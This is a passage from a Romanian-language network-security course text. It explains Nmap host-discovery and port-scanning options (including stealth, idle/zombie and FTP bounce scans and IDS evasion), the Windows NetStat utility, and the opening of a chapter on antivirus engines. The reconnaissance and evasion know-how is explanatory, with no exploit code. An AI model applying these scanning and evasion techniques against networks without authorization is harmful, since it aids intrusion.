- sL(Scanarea de tip lista) - Scanarea de tip lista este o forma degenerata de descoperire a hosturilor care listeaza fiecare host al retelei specificate, fara a trimite nici un pachet tintelor. In mod implicit, Nmap realizeaza totusi o rezolutie inversa DNS pentru a afla si numele tintelor. Adesea este surprinzator cate informatii utile ne pot oferi simplele nume ale hosturilor.

- sP(Scanare ping) - Aceasta optiune spune Nmapului sa realizeze numai o scanare ping (descoperirea hosturilor) si apoi sa afiseze hosturile disponibile care raspund la scanare.

- P0(Fara ping) - Aceasta optiune sare complet peste faza de descoperire. In mod normal, Nmap foloseste aceasta faza pentru a determina masinile active pentru scanarea avansata. Implicit, Nmap realizeaza scanarea avansata cum ar fi scanarea de porturi, detectia versiunii si a sistemului de operare doar pentru hosturile gasite active.

- PS [listadeporturi](Ping TCP SYN) - Aceasta optiune trimite un pachet TCP gol cu flagul SYN setat. Portul de destinatie implicit este 80 (configurabil la compilare prin schimbarea DEFAULT_TCP_PROBE_PORT innmap.h), dar un alt port poate fi specificat ca parametru. Chiar o lista separata prin virgula de porturi poate fi specificata (de exemplu PS22, 23, 25, 80, 113, 1050, 35000), caz in care probele vor fi trimise la fiecare port in paralel.Flagul SYN sugereaza tintei ca se doreste sa se stabileasca o conexiune

Nmapului nu ii pasa daca portul este deschis sau inchis. Fie ca este RST sau SYN/ACK dupa cum s-a vazut anterior, raspunsul anunta Nmapul ca hostul este activ si raspunde la probe.

- PA [lista_de_porturi](Ping TCP ACK) - Pingul TCP ACK este similar cu ping SYN. Diferenta este ca flagul TCP ACK este setat in locul celui SYN. Un astfel de pachet ACK pretinde ca transporta date in cadrul unei conexiuni ACK deja stabilite, dar nu exista nici o astfel de conexiune. Asadar tintele trebuie sa raspunda intotdeauna cu un pachet RST, dezvaluindu-si existenta in cadrul acestui proces.

- PU [lista_de_porturi](Ping UDP) - Alta optiune de descoperire a hosturilor este pingul UDP, care trimite un pachet gol (doar daca optiunea--data-lengthnu este specificata) UDP la portul specificat. Lista de porturi are acelasi format cu cel discutat anterior la optiunile-PS si -PA. Daca nici un port nu este specificat, implicit este utilizat 31338. Aceasta valoare implicita poate fi configurata la compilare schimband DEFAULT_PROBE_PORT innmap.h. Un port necomun este folosit implicit deoarece trimiterea unui pachet la un port deschis nu este de dorit pentru acest tip de scanare.Dupa trimiterea probei catre un port inchis al tintei, proba UDP trebuie sa obtina un pachet ICMP de port indisponibil. Acest lucru semnalizeaza Nmap-ul ca masina este activa si disponibila. Multe alte tipuri de erori ICMP, cum ar fi cele de host/retea ce nu pot fi contactate sau TTL (time to live = timp de viata; timpul maxim admis pentru asteptarea raspunsului) depasit sunt indicatori ai unui host inactiv sau care nu poate fi contactat. Lipsa unui raspuns este interpretata la fel. Daca un port deschis este nimerit de pachetul de proba, multe servicii vor ignora pachetul si nu vor returna nici un raspuns. De aceea portul de proba este 31338, care are o probabilitate mare sa nu fie utilizat. Cateva servicii vor raspunde totusi la un pachet UDP gol, dezvaluind in acest fel Nmap-ului faptul ca masina este disponibila. Principalul avantaj al acestui tip de scanare este ca poate trece de firewallurile si filtrele care monitorizeaza doar traficul TCP.

- PE;-PP;-PM(Tipuri de ping ICMP) - Pe langa tipurile de descoperire TCP si UDP uzuale discutate anterior, Nmap poate trimite pachete standard prin intermediul omniprezentului ping. Nmap trimite un pachet ICMP de tipul 8 (solicitare de raspuns) catre adresa IP tinta, asteptand un pachet de tip 0 (raspuns) in schimb de la hosturile disponibile. Din pacate pentru exploratorii de retele, in zilele noastre multe hosturi si firewall-uri blocheaza aceste pachete, in loc sa raspunda in conformitate cu RFC1122. Dar pentru administratorii de sistem care monitorizeaza o retea interna, ea poate fi o abordare practica si eficienta.

- PR(Ping ARP) - Unul dintre cele mai comune scenarii de utilizare ale Nmap-ului o reprezinta scanarea unei intregi retele locale (LAN). In multe LAN-uri, in special in cele care folosesc spatiul privat de adrese specificat in RFC1918, majoritatea adreselor IP nu sunt utilizate la un moment dat. Cand Nmap incearca sa trimita un pachet ICMP solicitand un raspuns, sistemul de operare trebuie sa determine adresa de destinatie hardware (ARP) corespunzatoare adresei tinta IP astfel incat sa poata adresa in mod corect frame-ul ethernet. Este adesea un proces lent, din moment ce sistemele de operare nu au fost proiectate sa realizeze milioane de solicitari ARP catre hosturi indisponibile intr-o perioada foarte scurta de timp.

- n(Nu se realizeaza rezolutia DNS) - Transmite Nmap-ului ca niciodata sa nu realizeze rezolutia inversa DNS pentru IPurile active gasite. Din moment ce DNS este adesea lent, aceasta optiune poate mari viteza de scanare.

- R(Rezolutie DNS pentru toate tintele) - Transmite Nmap-ului ca intotdeauna sa realizeze rezolutia DNS pentru IPurile tinta. In mod normal acest lucru este realizat cand o masina este gasita activa.

- system_dns(Foloseste DNSul sistemului de operare) - Implicit, Nmap rezolva adresele IP prin trimiterea de cereri la DNSurile configurate pe sistem si asteapta apoi raspunsuri. Multe solicitari (adesea foarte multe) sunt realizate in paralel pentru o performanta crescuta.

5.4.4 Bazele scanarii de porturi

Cu toate ca functiile Nmap au crescut ca numar in timp, el a inceput ca un scaner de porturi eficient si acesasta ramane fuctia lui de baza. Simpla comandanmaptintascaneaza mai mult de 1660 de porturi TCP aletintei. In timp ce multe scanere de porturi traditionale catalogheaza porturile in deschise si inchise, Nmap este mult mai avansat. El imparte porturile in sase stari: open (deschis), closed (inchis), filtered (filtrat), unfiltered (nefiltrat), open|filtered (deschis|filtrat) sau closed|filtered (inchis|filtrat).

Aceste stari nu sunt proprietati intrinsece ale porturilor, dar descriu modul in care sunt vazute de Nmap. De exemplu, o scanare Nmap din aceeasi retea ca si tinta poate arata portul TCP 135 ca deschis, in timp ce o scanare realizata simultan din Internet cu aceleasi optiuni poate arata portul ca filtered (filtrat).

Cele sase stari ale porturilor recunoscute de Nmap:

open (deschis)

O aplicatie accepta in mod activ conexiuni TCP sau pachete UDP la respectivul port. Gasirea acestora este adesea scopul principal al scanarii de porturi. Oamenii preocupati de securitate stiu ca fiecare port deschis reprezinta o cale de acces pentru un atac. Atacatorii doresc exploatarea porturilor deschise, in timp ce administratorii incearca sa le inchida sau sa le protejeze prin firewall-uri fara a incurca planurile utilizatorilor legitimi. Porturile deschise sunt interesante si pentru scanarile ce nu urmaresc stabilirea securitatii deoarece ele arata serviciile disponibile pentru retea de la respectivul host.

closed (inchis)

Un port inchis este accesibil (primeste si raspunde la un pachet de proba trimis de Nmap), dar nu exista nici o aplicatie care sa asculte la el. Pot fi folositoare in dezvaluirea starii hostului sau ca parte a detectiei sistemului de operare. Deoarece cu porturile inchise se poate comunica, ele merita scanate si mai tarziu in caz ca vreunul dintre ele se deschide. Administratorii pot lua in considerare blocarea unor astfel de porturi cu ajutorul unui firewall.

filtered (filtrat)

Nmap nu poate determina daca portul este deschis datorita unui filtru de pachete care impiedica pachetele sa ajunga la portul destinatie. Filtrarea poate proveni de la un firewall dedicat, din regulile unui router sau dintr-un firewall software al tintei. Aceste porturi frustreaza atacatorii deoarece furnizeaza foarte putine informatii. Uneori raspund cu un mesaj de eroare ICMP cum ar fi tipul 3 codul 13 (destinatie care nu a putu fi atinsa: comunicatia interzisa administrativ), dar filtrele care executa operatia drop (ignora pachetul) fara sa raspunda sunt mult mai comune. Acest lucru forteaza Nmap sa retrimita de cateva ori probele pentru cazul in care pachetul s-a pierdut din cauza congestionarii retelei si nu din cauza filtrarii. Acest lucru incetineste viteza de scanare dramatic.

unfiltered (nefiltrat)

Starea nefiltrata inseamna ca portul este accesibil, dar Nmap nu poate determina daca portul este inchis sau deschis. Numai scanarea ACK, folosita pentru maparea regulilor din firewall, clasifica portul in aceasta stare. Scanarea porturilor nefiltrate cu alte tipuri de optiuni cum ar fi scanarea Window(fereastra), scanarea SYN sau scanarea FIN poate stabili daca portul este deschis.

open|filtered (deschis|filtrat)

Nmap plaseaza porturi in aceasta categorie cand nu poate determina daca portul este deschis sau filtrat. Acestea apar pentru tipurile de scanari in care porturile deschise nu ofera nici un raspuns. Lipsa raspunsului poate sa mai insemne si ca un filtru de pachete a ignorat pachetul de proba sau orice raspuns aferent. Asadar Nmap nu poate stii sigur daca portul este deschis sau filtrat. Scanarile UDP, IP, FIN, Null sau Xmas clasifica porturile in aceasta stare.

closed|filtered (inchis|filtrat)

Aceasta stare este folosita cand Nmap este in imposibilitatea de a determina daca portul este inchis sau filtrat. Este folosit doar de scanarea IPID Idle.

5.4.5 Tehnici de scanare de porturi

Multe dintre tipurile de scanare sunt disponibile doar utilizatorilor privilegiati. Aceasta datorita faptului ca trimit si primesc pachete brute, care necesita acces root pe sistemele UNIX. Folosirea unui cont de administrator sub Windows este recomandata, cu toate ca Nmap functioneaza cateodata si pentru utilizatorii neprivilegiati pe platformele pe care WinPcap a fost deja incarcat de sistemul de operare. Necesitatea privilegiilor root au reprezentat o problema serioasa la lansarea Nmapului in 1997, deoarece multi utilizatori beneficiau doar de conturi limitate. Acum lumea e diferita. Calculatoarele sunt ieftine, multi oameni au acces direct si permanent la Internet iar sistemele UNIX (incluzand Linux si MAC OS X) sunt raspandite. O versiune de Windows a Nmap este acum disponibila, permitand rularea acestuia pe si mai multe calculatoare. Oricare ar fi motivul, utilizatorii au o nevoie mai mica de a rula Nmap de pe conturi limitate. Acesta este un lucru bun, deoarece optiunile privilegiate sunt mult mai puternice si mai flexibile.

Chiar daca Nmap incearca sa produca cele mai precise rezultate, intotdeauna el se bazeaza pe pachetele returnate de masina tinta (sau firewall-ul din fata lui). Asemenea hosturi pot sa nu fie de incredere, iar raspunsurile trimise pot fi menite sa incurce sau sa duca pe o pista gresita Nmap-ul. Comune sunt hosturile neconcordante cu standardele RFC care nu raspund cum ar trebui probelor Nmap. Scanarile Fin, Null si Xmas sunt in mod particular susceptibile de asa ceva. Astfele de probleme sunt specifice anumitor tipuri de scanari si sunt discutate individual la fiecare tip de scanare in parte.

Aceasta sectiune documenteaza multitudinea de tehnici de scanare de porturi suportate de Nmap. O singura metoda poate fi folosita la o scanare (nu pot fi combinate mai multe tipuri), cu exceptia scanarii UDP (-sU) care poate fi combinata cu unul din tipurile de scanare TCP. Cu un ajutor la memorare, tipurile de scanare de porturi sunt de forma -sC, unde C este caracterul principal al numelui scanarii, in general primul.

1. sS(Scanare TCP SYN) - Scanarea SYN este implicita si cea mai populara metoda pentru motive bine intemeiate. Poate fi executata rapid, scanand mii de porturi pe secunda intr-o retea rapida neobstructionata de un firewall deranjant. Scanarile SYN sunt relativ invizibile, din moment ce nu stabilesc niciodata o conexiune TCP. Functioneaza impotriva oricarei implementari conforma cu standardul de stiva TCP in loc sa depinda de platforma asa cum o fac scanarile Fin/Null/Xmas, Maimon si Idle. Ofera de asemenea o diferenta clara si precisa intre starile open (deschisa), closed (inchisa) si filtered (filtrata).

2. sT(Scanare TCP connect()) - Scanarea TCP Connect() este implicita cand SYN nu reprezinta o optiune viabila. Acesta este cazul in care utilizatorul nu beneficiaza de posibilitatea de trimitere a pachetelor brute sau scaneaza retele IPv6. In locul scrierii pachetelor brute asa cum o fac majoritatea tipurilor de scanare, Nmap cere nivelelor inferioare ale sistemului de operare sa stabileasca o conexiune cu masina tinta si portul dorit realizand un apel de sistemconnect(). Acesta este acelasi apel de sistem prin care aplicatiile de nivel inalt cum ar fi browserele, clientii P2P si in general aplicatiile cu functii de retea le folosesc pentru stabilirea conexiunii. Este o parte a interfetei de programare cunoscuta ca Berkley Sockets API. In loc sa citeasca pachete brute ca raspuns, Nmap foloseste API pentru a obtine informatii despre starea fiecarei conexiuni incercate.

3. sU(Scanare UDP) - In timp ce multe servicii in Internet ruleaza prin protocolul TCP, serviciile UDP sunt si ele raspandite. DNS, SNMP si DHCP (porturile inregistrate 53, 161/162 si 67/68) sunt trei dintre cele mai comune. Deoarece scanarea UDP este in general lenta si mai dificila decat TCP, unii auditori de securitate ignora aceste porturi. Aceasta este o greseala, deoarece serviciile UDP exploatabile sunt destul de cunoscute si atacatorii cu siguranta nu vor ignora un intreg protocol. Din fericire, Nmap poate ajuta la inventarierea porturilor UDP. Scanarea UDP este acivata cu optiunea-sU. Poate fi combinata cu o scanare TCP cum ar fi scanrea SYN (-sS) pentru a verifica ambele protocoale in timpul aceleiasi scanari. Scanarea UDP functioneaza prin trimiterea de headere UDP goale (fara date) la fiecare port specificat al masinii tinta. Daca un mesaj ICMP de port inaccesibil (tipul 3, codul 3) este returnat, portul este closed (inchis). Alte mesaje ICMP de port care nu poate fi atins (tipul 3, codurile 1, 2, 9, 10 sau 13) marcheaza portul ca filtered (filtrat). Ocazional, un serviciu poate raspunde cu un pachet UDP, demonstrand faptul ca este open (deschis). Daca nici un raspuns nu este primit dupa mai multe retransmisii atunci portul este catalogat ca open|filtered (deschis|filtrat). Asta inseamna ca portul poate fi deschis sau poate un filtru de pachete blocheaza comunicatia. Scanarile de versiune (-sV) pot fi folosite pentru a ne ajuta sa diferentiem porturile cu adevarat deschise de cele filtrate.O mare incercare in scanarea UDP o reprezinta realizarea acesteia rapid. Porturile deschise si filtrate rareori trimit raspuns, lasand Nmapul sa astepte si apoi sa retrimita pachetul pentru situatia in care proba sau raspunsul s-au pierdut. Porturile inchise reprezinta adesea o problema si mai mare. In mod uzual trimit inapoi un mesaj de eroare ICMP inaccesibil. Dar spre deosebire de de pachetele RST trimise de porturile TCP inchise ca raspuns la scanarile SYN sau connect, multe hosturi limiteaza rata de mesaje ICMP port inaccesibil. Linux si Solaris sunt foarte stricte in aceasta privinta. De exemplu, kernelul Linux 2.4.20 limiteaza aceste mesaje la unul pe secunda (din net/ipv4/icmp.c). Nmap detecteaza rata de limitare si incetineste scanarea in conformitate cu aceasta pentru a preveni inundarea retelei cu pachete inutile pe care masina tinta le va ignora. Din pacate, o limitare de genul Linuxului de un pachet la o secunda face ca o scanare de 65.536 de porturi sa dureze mai mult de 18 ore. Ideile de accelerare a scanarii UDP includ scanarea in paralel a mai multor hosturi, scanarea doar a porturilor cunoscute, scanarea din spatele firewallului si folosind optiunea --host-timeoutpentru a sari peste hosturile lente.

4. sN;-sF;-sX(Scanari TCP Null, FIN, si Xmas) - Aceste trei tipuri de scanare (chiar si mai multe posibile folosind optiunea –scanflags descrisa in aceasta sectiune) exploateaza o portita din TCP RFC pentru a diferentia intre porturile deschise (open)si cele inchise (closed). Principalul avantaj al acestor tipuri de scanare este acela ca se pot strecura prin anumite firewalluri non-statefull si routere cu filtrare de pachete. Alt avantaj al acestor tipuri de scanare este ca sunt si mai discrete decat o scanare SYN. Acest tip de scanare functioneaza impotriva celor mai multe sisteme bazate pe UNIX. Alta problema este ca aceste tipuri de scanari nu pot face diferenta intre porturile deschise (open) de cele filtrate (filtered), lasand un raspuns de tipul deschis|filtrat (open|filtered).

5. sA(Scanare TCP ACK) - Aceasta scanare e diferita de celelalte discutate pana acum in sensul in care nu poate determina niciodata un port deschis (open) (sau chiar deschis|filtrat (open|filtered)). Este folosita pentru a mapa regulile firewall-ului, determinand daca acestea sunt statefull sau nu, si ce porturi sunt filtrate.

6. sW(Scanare TCP Window) - Scanarea Window (fereastra) este asemanatoare cu scanarea ACK, cu exceptia ca exploateaza un detaliu de implementare a anumitor sisteme pentru a diferentia porturile deschise de cele inchise, in loc sa afiseze nefiltrat (unfiltered) cand un RST este returnat.

7. sM(Scanarea TCP Maimon) - Scanarea TCP Maimon este denumita astfel dupa descoperitorul ei, Uriel Maimon. Tehnica este similara cu scanarile Null, FIN si Xmas cu exceptia ca proba este FIN/ACK.

8. scanflags(Scanare TCP personalizata) - Utilizatorii avansati de Nmap nu trebuie sa se limiteze la tipurile de scanare generale oferite. Optiunea—scanflags va permite crearea propriilor tipuri de scanare prin specificarea flagurilor TCP.

9. sI (Scanare Idle) - Aceasta metoda avansata de scanare permite o scanare TCP complet oarba a tintei (insemnand ca niciun pachet nu este trimis tintei de la adresa IP reala). In loc, un canal derivat de atac exploateaza o secventa de fragmentare IPID predictibila a hostului zombie pentru a culege informatii despre porturile deschise pe masina tinta.

10. sO(Scanarea protocolului IP) - Scanarea protocolului IP permite determinarea protocoalelor (TCP, ICMP, IGMP, etc.) suportate de masina tinta. Aceasta nu reprezinta din punct de vedere tehnic o scanare de porturi, din moment ce trece prin numarul protocoalelor IP in loc de numarul porturilor TCP sau UDP.

11. b (Scanare FTP sarita) - Un aspect interesant al protocolului FTP (RFC 959) este suportul pentru asa numitele conexiuni proxy ftp. Acesta permite utilizatorului conectarea la un server FTP si apoi solicitarea ca anumite fisiere sa fie trimise pe un alt server. O astfel de functionalitate poate fi folosita pentru abuzuri asa ca multe servere au incetat sa o mai suporte. Unul dintre aceste abuzuri face ca serverul FTP sa scaneze alte hosturi.

5.4.6 Specificarea porturilor si a ordinii de scanare

In plus fata de toate metodele discutate anterior, Nmap ofera optiuni pentru specificarea porturilor ce urmeaza a fi scanate si daca scanarea se va realiza intr-o ordine aleatoare sau secventiala. Implicit, Nmap scaneaza toate porturile pana la 1024 inclusiv, precum si porturile mai mari aflate in fisierul nmap-services pentru protocolul/protocoalele scanate.

-p (Se scaneaza doar porturile specificate aici)

Aceasta optiune specifica porturile care se doresc a fi scanate, trecand peste valorile implicite. Numere de porturi individuale reprezinta o optiune valida, precum si domenii separate prin cratima (de exemplu 1-1023). Valorile de inceput si/sau sfarsit ale domeniului pot fi omise, Nmap inlocuindu-le cu 1, respectiv 65535. Specificand optiunea -p- se vor scana porturile de la 1 la 65535. Scanarea portului 0 este permisa daca se specifica acest lucru explicit. Pentru scanarea protocolului IP (-sO), aceasta optiune specifica numarul protocolului pe care se doreste sa-l scanati (0-255).

-F(Scanare rapida (numar limitat de porturi)

Specifica faptul ca se doreste scanarea doar a porturilor listate in nmap-services, fisier care vine cu nmap (sau fisierul de protocoale pentru-sO). Este mult mai rapida decat scanarea tuturor celor 65535 porturi de pe un host. Deoarece lista contine atat de multe porturi TCP (mai mult de 1200), diferenta de viteza fata de o scanare implicita TCP (aproximativ 1650 de porturi) este dramatica. Diferenta poate fi enorma daca specificati propriul fisier minimizat in functie de nevoinmap-servicesutilizand optiunea--datadir.

-r(Nu se scaneaza porturile in ordine aleatoare)

Implicit, Nmap scaneaaz porturile intr-o ordine aleatoare (cu exceptia faptului ca anumite porturi uzuale sunt mutate la inceputul scanarii din motive de eficienta). Aceasta ordine aleatoare este in mod normal de dorit, dar puteti specifica-rpentru scanarea secventiala.

5.4.7 Pacalirea Firewall/IDSurilor si ascunderea identitatii

Multi pionieri ai internetului au prevazut o retea globala deschisa cu un spatiu universal de adrese IP permitand conexiuni virtuale intre oricare doua noduri. Acest lucru permite hosturilor sa actioneze ca parteneri in comunicatie, sa serveasca si sa obtina informatii unul de la celalalt. Oamenii pot accesa sistemele de acasa, sa schimbe temperatura in casa sau sa deschida usa pentru oaspetii grabiti. Viziunea conectivitatii universale a fost inabusita de micsorarea spatiului de adrese si de problemele de securitate. La inceputul anilor 90, organizatiile au inceput implementarea firewall-urilor cu scopul precis de reducere a conectivitatii. Retele uriase au fost separate de Internetul nefiltrat prin aplicatii proxy, traduceri de adrese de retea (NAT) si filtre de pachete. Fluxul nerestrictionat de informatii a facut loc canalelor de comunicatie aprobate si supuse unor anumite reguli, precum si controlului datelor ce trece prin ele.

Obstacolele din retea cum ar fi firewall-urile pot face din maparea retelei o operatie extrem de dificila. Nu va deveni mai usor din moment ce constrangerile aplicate retelei reprezinta adesea un scop al implementarii noilor echipamente in retea. Nu e mai putin adevarat ca Nmap ofera multe optiuni pentru intelegerea acestor retele complexe si sa verifice daca filtrele functioneaza asa cum trebuie.

In plus fata de restrictiile retelelor, companiile au inceput sa monitorizeze traficul cu sisteme de detectie a intruziunilor (IDS). Toate IDS-urile cunoscute sunt livrate cu reguli care sa detecteze scanarile Nmap deoarece acestea preced de obicei un atac. Multe dintre acestea sau transformat in sisteme de prevenirea intruziunilor (IPS) care blocheaza in mod activ traficul presupus malitios. Din pacate pentru administratorii de retea si vanzatorii IDS-urilor, detectarea in mod corect a relelor intentii prin analizarea pachetelor este o problema dificila. Atacatorii cu rabdare, indemanare si ajutor din partea anumitor optiuni Nmap pot in mod normal sa treaca de IDS nedetectati. Intre timp, administratorii au de a face cu o multime de alerte false cand traficul inocent este gresit diagnosticat si se emite o atentionare sau este chiar blocat.

Cateodata oamenii sugereaza ca Nmap nu ar trebui sa ofere functii de pacalire a regulilor firewall-urilor sau de trecerea nedetectata de IDS. Argumenteaza prin faptul ca pot fi folosite de atacatori. Problema in acest rationament este ca atacatorii tot vor gasi instrumente sau patch-uri pentru Nmap pentru a realiza acest lucru. Intre timp, administratorii pot descoperii ca munca lor este mult mai dificila. Instalarea numai a serverelor FTP moderne, cu patchurile aplicate la zi este o metoda mult mai buna de protectie decat prevenirea distribuirii instrumentelor ce implementeaza atacurile sarite FTP.

Nu exista nici o optiune magica in Nmap pentru detectarea si pacalirea firewall-urilor si a sistemelor IDS. Acest lucru ia indemanare si experienta.[6]

5.5 Utilitarul „NetStat” din Windows

5.5.1 Introducere

NetStat (Network Statistics) este o unealta de comanda care afiseaza conexiuni de retea (atat de intrare cat si de iesire), tabele de rutare si un numar de interfete statistice de retea. Este disponibil pe sistemele de operare Unix, Unix-like si Windows.

5.5.2 Parametrii

Parametrii folositi cu aceasta comanda trebuie sa utilizeze un prefix cu o cratima si nu un slash (/).

-a : afiseaza toate (all) conexiunile active TCP si porturile TCP si UDP de care computerul asculta.

-b : afiseaza numele programului executabil (binary) implicat in crearea fiecarei conexiuni sau port de ascultare (doar Windows).

-e : afiseaza statistici ethernet, precum numarul de octeti si de pachete trimise si primite. Acest parametru poate fi combinat cu –s.

-i : afiseaza interfete de retea si statisticile acestora (nu este valabil sub Windows).

-n : afiseaza conexiunile active TCP, insa, adresele si numerele porturilor sunt exprimate numeric si nu se face nicio incercare de aflare a numelor.

-o : afiseaza conexiuni active TCP si include procesul ID (PID) pentru fiecare conexiune. Se poate gasi aplicatia bazata pe PID in tab-ul Processes din Windows Task Manager. Acest parametru poate fi combinat cu –a, -n si –p. Acest parametru este disponibil pe Microsoft Windows XP, 2003 Server (nu Microsoft Windows 2000).

-p Windows: Protocol : arata conexiunea protocolului specificat de Protocol. In acest caz, Protocolul poate fi tcp, udp, tcpv6 sau udpv6. Daca acest parametru este folosit cu –s pentru a afisa statistici de catre protocol, Protocolul poate fi tcp, udp, icmp, ip, tcpv6, udpv6, icmpv6 sau ipv6.

-p Linux: Proces : arata care procese folosesc anumite socket-uri (similar lui –b din Windows).

-r : afiseaza continuturile tabelelor de rutare IP. (Acesta este echivalent cu comanda route print din Windows).

-s : afiseaza statistici de catre protocol. Din start, statisticile sunt aratate pentru TCP, UDP, ICMP si protocoale IP. Daca protocolul Ipv6 pentru Windows XP este instalat, statisticile sunt aratate pentru protocoalele TCP prin Ipv6, UDP prin Ipv6, ICMPv6 si IPv6. Parametrul –p poate fi folosit pentru a specifica un set de protocoale.

-v : Cand este folosit in conjunctie cu –b, acesta va afisa secventa de componente implicate in crearea conexiunii sau a portului de ascultare pentru toate executabilele.

Interval : Reafiseaza informatia selectata la un Interval de secunde. Se apasa pe CTRL+C pentru a se inceta reafisarea. Daca acest parametru este omis, netstat printeaza informatia selectata o singura data.

/? : afiseaza ajutorul in fereastra de comanda (doar in Windows).

5.5.3 Statistici oferite

NetStat ofera statistici pentru urmatoarele:

• Proto – numele protocolului (TCP sau UDP).

• Adresa locala – Adresa IP a computerului local si numarul portului care este folosit. Numele computerului local care corespunde adresei IP si numele portului este aratat doar daca parametrul –n este specificat. Daca portul nu a fost inca stabilit, numarul portului este afisat drept o steluta (*).

• Adresa straina – adresa IP si numarul portului calculatorului indepartat la care socket-ul este conectat. Numele care corespund adreselor IP si portului sunt aratate decat daca parametrul –n este specificat. Daca portul nu a fost inca stabilit, numarul portului este afisat drept o steluta (*).

• Starea – indica starea unei conexiuni TCP. Starile posibile sunt dupa cum urmeaza: CLOSE_WAIT, CLOSED, ESTABLISHED, FIN_WAIT_1, FIN_WAIT_2, LAST_ACK, LISTEN, SYN_RECEIVED, SYN_SEND si TIME_WAIT.

5.5.4 Exemple

Pentru afisarea statisticilor doar pentru protocolele TCP si UDP, se tasteaza una dintre urmatoarele comenzi:

netstat -s -p tcp

netstat -s -p udp

Pentru a afisa conexiuni TCP active si ID-ul procesului la fiecare 5 secunde, trebuie tastata urmatoarea comanda (functioneaza doar pe Microsoft XP si 2003):

netstat -o 5

OS X version

netstat -w 5

Pentru afisarea conexiunilor TCP active si ID-ul procesului folosind forma numerica, trebuie tastata urmatoarea comanda (functioneaza doar pe Microsoft XP si 2003):

netstat -n –o

5.5.5 Observatii specifice platformei

Sub Linux, datele neprelucrate pot fi adesea obtinute din /proc/net/dev cu lucrul coruptiei in zona iesirii printf care se iveste in sumarul statisticilor interfetei retelei netstat, netstat –i, pana cand problema are loc.

Sub platforma Windows, informatiile netstat pot fi obtinute apeland functiile GetTcpTable si GetUDPTable in Helper-ul IP API sau IPHLPAPI.DLL. Informatiile returnate includ adresele IP locale si indepartate, porturile locale si indepartate si codurile de status TCP. In plus pentru linia de comanda unelta netstat.exe care se expediaza cu Windows, sunt disponibile programele netstat bazate pe GUI.

Pe platforma Windows, acesta comanda este disponibila doar daca protocolul IP (TCP/IP) este instalat ca o componenta in proprietatile adaptorului de retea in Network Connections.[7]

5.6 Bibliografie

[1] –

[2] - • William Stallings, “Cryptography and Network Security, 3/E”, Prentice Hall, 2003

• Charlie Kaufman, “Network Security, 2/E”, Prentice Hall, 2002

• Merike Kaeo, “Designing Network Security, 2/E”, Cisco Press, 2004

[3] -

[4] -

[5] -

[6] -

[7] -

Capitolul 6

Protectia calculatorului de Malware si Virusi : Antivirusi, Malware removing tools, Curatarea manuala registrului de Windows, Setari ale sistemului de operare care previn reinfectarea, Configurarea corecta a browserului WEB

POPA ANDREI

6.1 Introducere

Protectia completa a unui calculator impotriva continutului de tip malware si virus implica luarea unor masuri de securitate obtinute prin folosirea celor 4 tipuri principale de aplicatii:

• Aplicatii de tip Antivirus

• Aplicatii de tip Anti Spyware & Adware

• Aplicatii de tip Anti Spam

• Aplicatii de tip Firewall

Fiecare categorie trateaza cate un tip de vulnerabilitate al calculatorului. Aplicatiile de tip antivirus au ca obiect fisierele de tip virus si troian de pe discurile locale sau mediile externe, din memorie si procesele sistemului. Aplicatiile Anti Spyware scaneaza fisierele si cookie-urile rezultate in urma navigarii pe internet iar Anti Spam-ul realizeaza o permanenta verificare a continutului mesajelor in format electronic. Firewall-ul monitorizeaza traficul pe retea si internet, stabilind reguli si oferind permisiuni de comunicare pentru fiecare port prin care sistemul incearca sa comunice cu exteriorul.

6.2 Antivirusii

Antivirusii sunt programe proiectate pentru a preveni, detecta si elimina amenintarile virusurilor, cat si a oricarui tip de soft cu repercursiuni negative care ar putea sa afecteze corecta functionare a calculatorului.

Dupa modul de actiune exista doua tipuri de antivirusi:

- Programe care, dupa ce au fost rulate, raman in memoria calculatorului si supravegheaza fiecare aplicatie lansata in executie.

- Programe care sunt lansate de catre utilizator numai atunci cand acesta doreste sa faca o verificare a calculatorului.

6.2.1 Notiunea de scanare

Atat in cazul antivirusilor cat si in cel al anti-spyware-urilor, scanarea unui fisier consta in compararea fiecarei componente a fisierului cu mostre de virusi cunoscuti care sunt indexate intr-o baza de date complexa. Aceste baze de date se numesc de obicei fisiere de actualizare sau fisiere de semnaturi. Aceasta poarta numele de scanare clasica, sau scanarea pe baza de semnaturi.

In cazul programelor care monitorizeaza permanent fisierele, scanarea se face in doua modalitati: la accesarea fisierului, sau intuitiv. Scanarea intuitiva apare in situatia in care utilizatorul da comanda de listare a unui un director de pe discul local. In acel moment, probabilitatea ca utilizatorul sa acceseze unul din fisierele organizate in acel director este mare, asadar antivirusul recurge la scanarea in avans a fisierelor care pot fi rulate in mod direct (de obicei fisierele executabile).

Scanarea euristica se realizeaza prin recunoasterea operatiilor specifice virusilor, prin intermediul unui scanner euristic. Acestea contin reguli ce descriu operatiile posibile ale virusilor (spre exemplu inceperea programului cu o instructiune de salt aproape la sfarsitul fisierului sau interceptarea unei cereri de executie pentru un anumit proces).

Metoda euristica este constransa de raportarea suspectilor pozitivi si a suspectilor negativi (un suspect pozitiv este atunci cand scannerul raporteaza cod suspect care nu face parte de fapt dintr-un virus, iar un suspect negativ este atunci cand scannerul considera un fisier infectat ca fiind curat)

Nucleul unui software de tip Antivirus este numit in termeni specifici engine (motor). Unul din aspectele importante in proiectarea unui engine este modularitatea. Modularitatea defineste felul in care programul integreaza functiile pe care le indeplineste (Scanarea, Monitorizarea, Update-ul) Astfel sunt programe care includ toate functiile in acelasi executabil principal si programe care le delimiteaza si permite rularea lor separata, optimizand memoria si numarul de procese necesar rularii.

Un alt element esential este independenta de functionare a antivirusului fata de sistemul de operare si fisierele de sistem. Se evita prin aceasta precautie blocarea actiunii antivirusului in timpul atacului unui eventual virus asupra fisierelor de sistem.

Componentele indispensabile ale unui program antivirus modern sunt: engine core-ul (inima motorului), scannerele pentru tipuri de fisiere, scannerele de memorie, dezarhivatoarele de fisiere (ex arhive zip, executabile UPX comprimate), emulatoarele de cod (ex Win32), motoarele euristice si mecanismele de update.

Engine core-ul poate fi perceput ca un cadru ce apeleaza unul sau mai multe module necesare pentru un anumit tip de scanare sau o actiune si care realizeaza imbinari intre acestea actionand ca un liant. Este proiectat deasemenea ca un mecanism de implementare, pentru ca ulterioare update-uri sau componente aditionale sa se potriveasca acestui cadru. Este protejat prin certificate digitale sau mecanisme similare

Scannerul pentru diverse tipuri de fisiere are rolul de a detecta tipul fisierului si daca acesta este sau nu sub forma unei arhive. Dupa ce determina natura fisierului trimite core-ului comanda de a insarcina scanarea unui anumit modul, dedicat fisierului in cauza.

Fiecare modul, indiferent de specializarea lui, integreaza 3 functii:

